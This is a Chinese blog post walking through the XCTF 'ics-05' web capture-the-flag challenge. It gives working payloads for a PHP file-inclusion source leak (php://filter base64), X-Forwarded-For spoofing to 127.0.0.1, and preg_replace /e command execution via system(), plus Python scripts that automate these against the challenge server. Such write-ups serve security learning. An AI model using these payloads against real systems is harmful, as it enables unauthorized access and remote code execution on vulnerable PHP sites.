XCTF攻防世界web之ics-05(含自动化脚本)

一、手解

本文借鉴以下两篇文章的指导

https://www.jianshu.com/p/5a502873635b

https://blog.csdn.net/about23/article/details/95349625

 

全部点击一遍,只有这个可以有其他界面

在这里插入图片描述

 

题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”

在后面添加login.php 无果,御剑扫描也无结果,源码也找不到其他东西

再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index  存在get传值

在这里插入图片描述

 

page的参数联想到可能存在文件包含漏洞

引用上面的文章内容

LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

 

输入数字没啥用,尝试读取index.php的源码,采用php伪协议

 
?page=php://filter/read=convert.base64-encode/resource=index.php

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64

 

在这里插入图片描述

然后解码,分析源码

 

在这里插入图片描述

伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

注:这里

”+“号在url中会被解释成空格号,这里用%20也行

用burpsuite来设置XFF头

 

在这里插入图片描述

继续查看   %26被url解释成&号   用来连接命令

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

 

在这里插入图片描述

 

 最后的payload

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

在这里插入图片描述

 

得flag

cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}

 

 


 

注意

preg_replace的用法是这样的:
在这里插入图片描述

那么其实这里的payload中的pat是123,sub是123:
index.php?pat=/123/e&rep=system(“cat+./s3chahahaDir/flag/flag.php”)&sub=123

也可以是pat为1,sub为123这样,只要sub把pat包在里面就行;而pat为123,sub为1是不行的。

二、写自动化脚本

这里拓展下用python写自动化脚本:
第一个脚本是把php的filter伪协议获取的index.php的base64编码的源码进行base64解码后,写入同一目录下的result.php中:

import re
import requests
import base64

burp0_url = "http://111.200.241.244:64303/index.php/login/?page=php://filter/read=convert.base64-encode/resource=index.php"
response = requests.get(burp0_url)
result1 = re.findall('<p class="lead">\s+(.*)', response.text) #目前的理解:\s代表匹配任意空白字符,这个+代表无论多少都将空白字符匹配掉
#print(response.text)
#print(result1)
result2 = ''.join(result1) #join()方法用于将序列中的元素以指定的字符连接生成一个新的字符串
#print(result2)
result = str(base64.b64decode(result2), "utf-8")
print(result)

file = open('result.php','w')
file.write(result)

这里展示结果:
在这里插入图片描述

那么这里写进来后,直接在脚本的同一目录下打开result.php来进行下一步的代码审计:
在这里插入图片描述
在这里插入图片描述

审计完就可以开始来获取flag了。这里写的第二个脚本是因为我用burp来手动在请求包添加XFF头的时候,响应包居然不会出现那个Welcome My Admin !,那么这里不知道是哪里出了问题。那么便来用python来模拟请求:

import requests
import re

burp0_url = 'http://111.200.241.244:64303/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123'
burp0_cookies = {"PHPSESSID": "a70ecfmos0qoiotgunelqqvl85"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "X-Forwarded-For": "127.0.0.1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(response.text)
result = re.findall("flag = (.*)",response.text)

print(result)

在这里插入图片描述
最终这个:

import requests
import re

burp0_url = 'http://111.200.241.244:56339/index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123'
burp0_cookies = {"PHPSESSID": "a70ecfmos0qoiotgunelqqvl85"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0", "X-Forwarded-For": "127.0.0.1", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
response=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
print(response.text)
result1 = re.findall("flag = (.*)",response.text)
result = ''.join(result1)
print("正则表达式匹配出的flag:"+ result)

在这里插入图片描述
flag为cyberpeace{d66325024cfcac289357d18b48725e46}

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

J0hnson666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值